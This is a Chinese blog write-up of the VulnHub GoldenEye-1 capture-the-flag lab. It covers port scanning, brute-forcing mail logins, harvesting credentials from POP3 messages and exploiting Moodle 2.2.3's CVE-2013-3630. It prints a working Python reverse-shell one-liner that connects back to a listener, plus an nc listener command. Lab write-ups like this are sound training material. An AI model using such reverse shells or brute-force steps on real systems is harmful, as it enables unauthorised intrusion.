VulnHub之GoldenEye靶场（2）

最新推荐文章于 2025-05-29 20:18:02 发布

p_utao

最新推荐文章于 2025-05-29 20:18:02 发布

阅读量318

点赞数

CC 4.0 BY-SA版权

分类专栏：渗透测试文章标签： linux 数据库安全

本文链接：https://blog.youkuaiyun.com/p_utao/article/details/113847482

渗透测试专栏收录该内容

29 篇文章

订阅专栏

本文讲述了作者在Vulnhub平台的GoldenEye-1挑战中，通过端口扫描、爆破弱口令、解析邮件线索，逐步找到隐藏的账号密码，利用POP3协议获取更多信息，并最终实现Linux系统提权的过程。涉及的技术包括Apache、邮件客户端、远程命令执行漏洞和Python逆向工程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

靶场信息：

地址：https://www.vulnhub.com/entry/goldeneye-1,240/
难度：简单
目标：root目录下flag.txt 文件
运行：VirtualBox（网络桥接）

信息收集

老规矩上来先扫描端口
在这里插入图片描述
常见端口开放25、80、110端口，访问网站，爆下目录（无果），随便爆破一下25端口的弱口令（无果）

中间件：apache

然后通过上面得提示访问/sev-home/这个目录，有登陆但是没有密码，这里我打算爆破来着，f12源代码里面有
在这里插入图片描述
有趣得对话，这里莫非是让我们去找那个女的，鬼才信

拿着：InvincibleHack3r

我还以为用户是UNKNOWN呢，找了半天，既然有了账号密码直接登陆，还好直接看大佬得文章了

账号：boris
密码：InvincibleHack3r

在这里插入图片描述
这里好像很厉害的样子，我们继续看看源代码，最下面有两个用户名

使用超级弱口令，由于这里不是默认端口，所以要自己设置一下

POP3 命令包括：

USER username 认证用户名        
PASS password 认证密码认证，认证通过则状态转换        
APOP name,digest 认可一种安全传输口令的办法，执行成功导致状态转换，请参见 RFC 1321 。        
STAT 处理请求 server 回送邮箱统计资料，如邮件数、 邮件总字节数        
UIDL n 处理 server 返回用于该指定邮件的唯一标识， 如果没有指定，返回所有的。        
LIST n 处理 server 返回指定邮件的大小等        
RETR n 处理 server 返回邮件的全部文本        
DELE n 处理 server 标记删除，QUIT 命令执行时才真正删除        
RSET 处理撤消所有的 DELE 命令        
TOP n,m 处理 返回 n 号邮件的前 m 行内容，m 必须是自然数        
NOOP 处理 server 返回一个肯定的响应        
QUIT 希望结束会话。如果 server 处于"处理" 状态，则现在进入"更新"状态，删除那些标记成删除的邮件。如果 server 处于"认可"状态，则结束会话时 server 不进入"更新"状态 。

在这里插入图片描述
在第二封中发现账号和密码

我们现根据邮件提示添加本地域名：severnaya-station.com

然后访问这个网站

使用邮件的账号和密码登陆成功

发现用户，但是没有密码继续爆破

账号：doak
密码：goat

继续看邮件，救救孩子吧！
在这里插入图片描述
又发现一个账号和密码，退出上次的账号，登陆这个

发现目录中有个txt，下载打开发现个图片的地址

打开发现一张西装男人的照片
下载

根据邮件提示查看图片内容，我们通过使用strings 查看jpg内容，发现base64编码
在这里插入图片描述
解码完成，线索是个admin的密码
发现cms的版本

查询moodle 2.2.3漏洞发现存在远程命令执行漏洞
编号：cve-2013-3630

配置好各种参数后执行失败，靶机系统界面默认是google spell，要将靶机系统上修改为PSpellShell
在这里插入图片描述
上面那个我复现不了，这里还能上传代码

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.64.128”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

在这里插入图片描述
打开nc监听6666端口

nc -lnvp 6666

在这里插入图片描述
成功！！！tty：python -c 'import pty; pty.spawn("/bin/bash")'

提权知识：https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html

啊！复现的好心累啊！两种方式都不行，哭唧唧

参考文章：
https://blog.youkuaiyun.com/shenyu_1126/article/details/109460248
https://blog.youkuaiyun.com/qq_34801745/article/details/103724325
https://www.cnblogs.com/heguoze/p/12052353.html